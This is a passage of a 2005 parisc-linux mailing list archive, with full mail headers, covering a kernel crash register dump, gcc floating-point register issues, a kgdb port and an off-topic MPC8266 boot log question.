08-11   000000000000836e  0000000000000000  00000000000000c0  00000000000=
00015
12-15   0000000000000000  0000000000000000  000000000010a000  00000000ff8=
00000
16-19   00000c893eed18c2  0000000000000000  000000001010b64c  000000000f9=
4d280
20-23   00000000000041b7  c0000000fb7000f0  000000ff0004ff00  00000000800=
00000
24-27   0000000000474000  0000000008262000  0000000000044021  00000000405=
dab80
28-31   0000000055555555  0000000055555555  0000000011990000  00000000104=
80000



SR of CPU[0]
00-03   00000000          00000000          000041b7          000041b7
04-07   00000000          00000000          00000000          00000000

SR[00] =3D=3D ts0 =3D 00000000

SR[01] =3D=3D ts1 =3D 00000000

SR[03] =3D=3D cpp =3D 000041b7
...
IIA Offset                   =3D 0x000000001010b650
...

e.g. IAOQ =3D 0x000000001010b650

Parse IAOQ =3D 0x000000001010b650 for CPU[0]

Func: L42, Off: 0x4, Addr: 0x1010b650

1010b650:       0f a2 12 90     stw rp,8(,ret1)
1010b654:       0f a3 12 98     stw r3,c(,ret1)
1010b658:       6b a4 00 20     stw r4,10(,ret1)
1010b65c:       6b a5 00 28     stw r5,14(,ret1)

Thanks,
    Joel


_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:40 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] [gcc] should we teach gcc some new tricks?
Date: Wed, 6 Jul 2005 13:00:00 -0400 (EDT)
Lines: 31
Approved: news@gmane.org
Message-ID: <200507061700.j66H01NH006241@hiauly1.hia.nrc.ca>
References: <42BAB5E10000403E@mail-2-bnl.tiscali.it>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623837 15531 80.91.229.3 (22 Nov 2014 02:37:17 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:37:17 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: soete.joel@tiscali.be (Joel Soete)
Original-X-From: - Wed Jul 02 21:27:22 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 06 Jul 2005 17:00:20 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx066) with SMTP; 06 Jul 2005 19:00:20 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 754997D721;
	Wed,  6 Jul 2005 11:00:07 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 13241-08; Wed, 6 Jul 2005 11:00:07 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 9C7F37D717;
	Wed,  6 Jul 2005 11:00:06 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id C5B707D710
	for <parisc-linux@lists.parisc-linux.org>;
	Wed,  6 Jul 2005 11:00:03 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 13241-05 for <parisc-linux@lists.parisc-linux.org>;
	Wed, 6 Jul 2005 11:00:03 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by free.linux.hp.com (Postfix) with ESMTP id 330BB7D708
	for <parisc-linux@lists.parisc-linux.org>;
	Wed,  6 Jul 2005 11:00:03 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be
	forged)) by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9) with ESMTP id
	j66H01nV006243; Wed, 6 Jul 2005 13:00:01 -0400 (EDT)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9/Submit) id j66H01NH006241;
	Wed, 6 Jul 2005 13:00:01 -0400 (EDT)
In-Reply-To: <42BAB5E10000403E@mail-2-bnl.tiscali.it> from "Joel Soete" at Jul
	6, 2005 06:40:32 pm
X-Mailer: ELM [version 2.4 PL25]
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: c2u+YiNzeSEkML6WZHQhaXN1IGRvb0B4
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22883

> Ok I boot the same and grab recent gcc-4.1 src (about 6h gmt) and build it
> with build-tls-tools with following options:
> --enable-shared --with-system-zlib --disable-nls --enable-debug --host=hppa-linux
> --tar
> get=hppa-linux --disable-libmudflap --enable-languages=c,c++

Don't use 4.1 unless you want to help with fixing GCC bugs!

> My very bad error was to forget to save the System.map, so it's hard to say
> if the pim analyse is relevant:

objdump -d will tell you everything you need to know.

According to the grapevine, most of the current stability problems
are probably caused by not properly saving fpregs in all context switches.
The 32-bit port used to be built with -mdisable-fpregs but this was removed
when memcpy was made more efficient.  Note that disabling fpregs when
building the kernel isn't a complete solution as libgcc uses various
floating-point instructions which may or may not get linked into the
kernel (e.g., for integer multiplication).

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:40 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Sven Schnelle <svens@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: kgdb (was: Re: [parisc-linux] netpoll support for lasi_82596)
Date: Wed, 06 Jul 2005 08:22:02 +0200
Lines: 32
Approved: news@gmane.org
Message-ID: <87zmt0bgj9.fsf_-_@deprecated.intranet.astaro.de>
References: <878y0t66v5.fsf@deprecated.intranet.astaro.de>
	<200507052243.32912.deller@gmx.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/signed;
  boundary="=-=-=";
  micalg=pgp-sha1;
  protocol="application/pgp-signature"
X-Trace: ger.gmane.org 1416623838 15533 80.91.229.3 (22 Nov 2014 02:37:18 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:37:18 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Helge Deller <deller@gmx.de>
Original-X-From: - Wed Jul 02 21:27:22 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <svens@gmx.de>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 06 Jul 2005 06:22:31 -0000
Original-Received: from i3ED6E595.versanet.de (EHLO deprecated.intranet.astaro.de) [62.214.229.149]
  by mail.gmx.net (mp024) with SMTP; 06 Jul 2005 08:22:31 +0200
X-Authenticated: #21330363
Original-Received: from localhost.localdomain
	([127.0.0.1] helo=deprecated.intranet.astaro.de ident=svens)
	by deprecated.intranet.astaro.de with esmtp (Exim 3.36 #1 (Debian))
	id 1Dq3IK-0004gY-00; Wed, 06 Jul 2005 08:22:04 +0200
In-Reply-To: <200507052243.32912.deller@gmx.de> (Helge Deller's message of "Tue, 5 Jul 2005 22:43:32 +0200")
User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: 8B25YkE1eSEvar6WZHQhaXN1IGRvb0B6
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22884

--=-=-=
Content-Transfer-Encoding: quoted-printable

Hi Helge,

Helge Deller <deller@gmx.de> writes:

> I've applied your patch (with small modifications).

Thanks, maybe one day this will be useful for kgdb debugging over
ethernet - but this needs some work, at the Moment there are no
breakpoints and no singlestepping in my kgdb port for linux-2.6.

Bye,

Sven
=2D-=20
Disc space - the final frontier...

--=-=-=
Content-Type: application/pgp-signature

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.4.1 (GNU/Linux)

iD8DBQBCy3iM86MdxiXaIbERAgMqAKC3l4PIwgZkvC2WMQzTKG2SGGKffwCeOLHT
JJigW5kCqL8XvTB2FMpdLQM=
=2PGw
-----END PGP SIGNATURE-----
--=-=-=--



From - Thu Nov 08 21:33:40 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Vikrant_Basotra" <Vikrant_Basotra@Satyam.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Porting Linux On PMC8266 based custom board
Date: Wed, 6 Jul 2005 12:01:51 +0530
Lines: 110
Approved: news@gmane.org
Message-ID: <D8595042F3765A4285B848A78A2C2ED10162C3@bsdmsg002.corp.satyam.ad>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="us-ascii"
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416623838 15539 80.91.229.3 (22 Nov 2014 02:37:18 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:37:18 +0000 (UTC)
To: <parisc-linux@lists.parisc-linux.org>
Original-X-From: - Wed Jul 02 21:27:22 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 06 Jul 2005 06:34:13 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx034) with SMTP; 06 Jul 2005 08:34:13 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 50B107D718;
	Wed,  6 Jul 2005 00:34:05 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 09393-03; Wed, 6 Jul 2005 00:34:05 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 4C0677D719;
	Wed,  6 Jul 2005 00:34:04 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 1611F7D716
	for <parisc-linux@lists.parisc-linux.org>;
	Wed,  6 Jul 2005 00:34:01 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 09142-10 for <parisc-linux@lists.parisc-linux.org>;
	Wed, 6 Jul 2005 00:34:00 -0600 (MDT)
Original-Received: from njpmail.satyam.com (njpmail.satyam.com [204.179.188.132])
	by free.linux.hp.com (Postfix) with ESMTP id 83EE17D70E
	for <parisc-linux@lists.parisc-linux.org>;
	Wed,  6 Jul 2005 00:33:58 -0600 (MDT)
Original-Received: from blr.satyam.com (blr.satyam.com [208.220.245.73])
	by njpmail.satyam.com (8.11.6/8.11.6) with ESMTP id j666LTI08858
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 6 Jul 2005 02:21:32 -0400
Original-Received: from Disclaimerbng.corp.satyam.ad (bng.satyam.com [172.19.57.211])
	by blr.satyam.com (8.12.8/8.12.8) with ESMTP id j666SnSh003263
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 6 Jul 2005 11:58:49 +0530
Original-Received: from bsdmsg002.corp.satyam.ad ([172.19.57.212]) by
	Disclaimerbng.corp.satyam.ad with Microsoft
	SMTPSVC(6.0.3790.211); Wed, 6 Jul 2005 12:02:54 +0530
X-MimeOLE: Produced By Microsoft MimeOLE V6.00.3790.181
Content-class: urn:content-classes:message
Importance: normal
Priority: normal
Thread-Topic: Porting Linux On PMC8266 based custom board
Thread-Index: AcWB80JMlyONKsrjTDGL5VXPtvaY3gAAQcqw
X-OriginalArrivalTime: 06 Jul 2005 06:32:54.0385 (UTC)
	FILETIME=[8A65AE10:01C581F4]
X-Virus-Scanned: ClamAV version 0.85.1,
	clamav-milter version 0.85 on blr.satyam.com
X-Virus-Status: Clean
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: MR65Ylo7eSEkUL6WZHQhaXN1IGRvb8A7
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22885


Hi All,
		I am porting Linux on MPC8266 custom board, after
getting in to Linux the system seems to be struck at a point.
Saved Environment variable:-
      bootargs console=3DttyS0,11520 root=3D1f00 and downloaded the =
Kernel
image at address 0x02000000 in the RAM.
>>From the u-boot prompt the bootm command is invoked as:-=20
	bootm 0x02000000

After that what I get on the terminal is pasted below for your
reference.
I couldn't make out any thing from the output, can any body tell me
where I am doing wrong, and also I don't have any idea about the
bootargs argument "root". Can any body give the precise description of
this argument?


++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
++++
=3D> bootm 02000000 ## Booting image at 02000000...
   Image Name:   2.4.24 MPC8260ADS
   Image Type:   PowerPC Linux Kernel Image (gzip compressed)
   Data Size:    725838 Bytes =3D 708.8 kB
   Load Address: 00000000
   Entry Point:  00000000
   Verifying Checksum ... OK
   Uncompressing Kernel Image ... OK
Memory BAT mapping: BAT2=3D128Mb, BAT3=3D0Mb, residual: 0Mb

Linux version 2.4.24-pre2 (root@pmcserver) (gcc version 3.3.4) #2 Tue
Jul 5 15:05:10 IST 2005

On node 0 totalpages: 32768

zone(0): 32768 pages.

zone(1): 0 pages.

zone(2): 0 pages.

Kernel command line: console=3DttyS0,115200 root=3D1f00

Warning: real time clock seems stuck!

Calibrating delay loop... 131.89 BogoMIPS

Memory: 127812k available (1232k kernel code, 412k data, 64k init, 0k
highmem)

Dentry cache hash table entries: 16384 (order: 5, 131072 bytes)

Inode cache hash table entries: 8192 (order: 4, 65536 bytes)

Mount cache hash table entries: 512 (order: 0, 4096 bytes)

Buffer cache hash table entries: 8192 (order: 3, 32768 bytes)

Page-cache hash table entries: 32768 (order: 5, 131072 bytes)

POSIX conformance testing by UNIFIX

Linux NET4.0 for Linux 2.4

Based upon Swansea University Computer Society NET3.039

Initializing RT netlink socket

Starting kswapd

JFFS2 version 2.1. (C) 2001 Red Hat, Inc., designed by Axis
Communications AB.

i2c-core.o: i2c core module version 2.6.1 (20010830)

i2c-dev.o: i2c /dev entries driver module version 2.6.1 (20010830)

CPM UART driver version 0.01

ttyS0 on SMC1 at 0x0000, BRG7

ttyS1 on SMC2 at 0x0040, BRG8

ttyS2 on SCC1 at 0x8000, BRG1

ttyS3 on SCC2 at 0x8100, BRG2

pty: 256 Unix98 ptys configured
++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
=09
Waiting eagerly,
Regards,
VB


DISCLAIMER:
This email (including any attachments) is intended for the sole use of =
the intended recipient/s and may contain material that is CONFIDENTIAL =
AND PRIVATE COMPANY INFORMATION. Any review or reliance by others or =
copying or distribution or forwarding of any or all of the contents in =
this message is STRICTLY PROHIBITED. If you are not the intended =
recipient, please contact the sender by email and delete all copies; =
your cooperation in this regard is appreciated.
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:40 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <randolph@tausq.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Porting Linux On PMC8266 based custom board
Date: Wed, 06 Jul 2005 15:00:42 +0800
Lines: 22
Approved: news@gmane.org
Message-ID: <42CB819A.1040802@tausq.org>
References: <D8595042F3765A4285B848A78A2C2ED10162C3@bsdmsg002.corp.satyam.ad>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=ISO-8859-1
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623838 15540 80.91.229.3 (22 Nov 2014 02:37:18 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:37:18 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Vikrant_Basotra <Vikrant_Basotra@Satyam.com>
Original-X-From: - Wed Jul 02 21:27:22 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 06 Jul 2005 07:00:58 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx016) with SMTP; 06 Jul 2005 09:00:58 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id E2E467D717;
	Wed,  6 Jul 2005 01:00:54 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 09706-08; Wed, 6 Jul 2005 01:00:54 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 0986F7D72C;
	Wed,  6 Jul 2005 01:00:54 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id DAD8D7D716
	for <parisc-linux@lists.parisc-linux.org>;
	Wed,  6 Jul 2005 01:00:49 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 09736-02 for <parisc-linux@lists.parisc-linux.org>;
	Wed, 6 Jul 2005 01:00:49 -0600 (MDT)
Original-Received: from stl.com.hk (ip127.bb146.pacific.net.hk [202.64.146.127])
	by free.linux.hp.com (Postfix) with ESMTP id 290FF7D713
	for <parisc-linux@lists.parisc-linux.org>;
	Wed,  6 Jul 2005 01:00:49 -0600 (MDT)
Original-Received: from rccomp.stl.com.hk ([192.168.100.200] helo=[127.0.0.1])
	by stl.com.hk with esmtp (Exim 4.50)
	id 1Dq3s0-0006RN-03; Wed, 06 Jul 2005 14:58:56 +0800
User-Agent: Mozilla Thunderbird 1.0.2 (Windows/20050317)
X-Accept-Language: en-us, en
In-Reply-To: <D8595042F3765A4285B848A78A2C2ED10162C3@bsdmsg002.corp.satyam.ad>
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: /OS5YiMOeSEkYr6WZHQhaXN1IGRvb4AG
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22886

> I am porting Linux on MPC8266 custom board, after

I think you are using the wrong mailing list.

> DISCLAIMER: [...] Any review or
> reliance by others or copying or distribution or forwarding of any or
> all of the contents in this message is STRICTLY PROHIBITED. 

but given this disclaimer, nobody can really help you.

randolph
-- 
Randolph Chung
Debian GNU/Linux Developer, hppa/ia64 ports
http://www.tausq.org/

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:40 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] [gcc] should we teach gcc some new tricks?
Date: Wed, 6 Jul 2005 21:27:36 -0400 (EDT)
Lines: 20
Approved: news@gmane.org
Message-ID: <200507070127.j671Ra0q008822@hiauly1.hia.nrc.ca>
References: <42BAE7C300003107@mail-5-bnl.tiscali.it>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623838 15541 80.91.229.3 (22 Nov 2014 02:37:18 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:37:18 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: soete.joel@tiscali.be (Joel Soete)
Original-X-From: - Wed Jul 02 21:27:22 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 07 Jul 2005 01:27:48 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx017) with SMTP; 07 Jul 2005 03:27:48 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id E92FC7D695;
	Wed,  6 Jul 2005 19:27:43 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 14727-08; Wed, 6 Jul 2005 19:27:43 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 554D77D696;
	Wed,  6 Jul 2005 19:27:43 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id BD3A87D694
	for <parisc-linux@lists.parisc-linux.org>;
	Wed,  6 Jul 2005 19:27:38 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 14835-04 for <parisc-linux@lists.parisc-linux.org>;
	Wed, 6 Jul 2005 19:27:38 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by free.linux.hp.com (Postfix) with ESMTP id 2C2BA7D693
	for <parisc-linux@lists.parisc-linux.org>;
	Wed,  6 Jul 2005 19:27:38 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be
	forged)) by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9) with ESMTP id
	j671RanV008823; Wed, 6 Jul 2005 21:27:37 -0400 (EDT)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9/Submit) id j671Ra0q008822;
	Wed, 6 Jul 2005 21:27:36 -0400 (EDT)
In-Reply-To: <42BAE7C300003107@mail-5-bnl.tiscali.it> from "Joel Soete" at Jul
	4, 2005 04:51:31 pm
X-Mailer: ELM [version 2.4 PL25]
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: QuC+YhlDeSEkY76WZHQhaXN1IGRvbwAE
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22887

Joel,

>  #cflags-y      += -mdisable-fpregs
> +cflags-y       += -mfixed-range=fr6-fr21,fr27-fr31

See <http://lists.parisc-linux.org/pipermail/parisc-linux-cvs/2005-July/035965.html>.
It's now clear why you had success with the -mfixed-range in gcc 4.0.
The range above disables gcc's use of the floating-point no clobber
registers.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:40 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
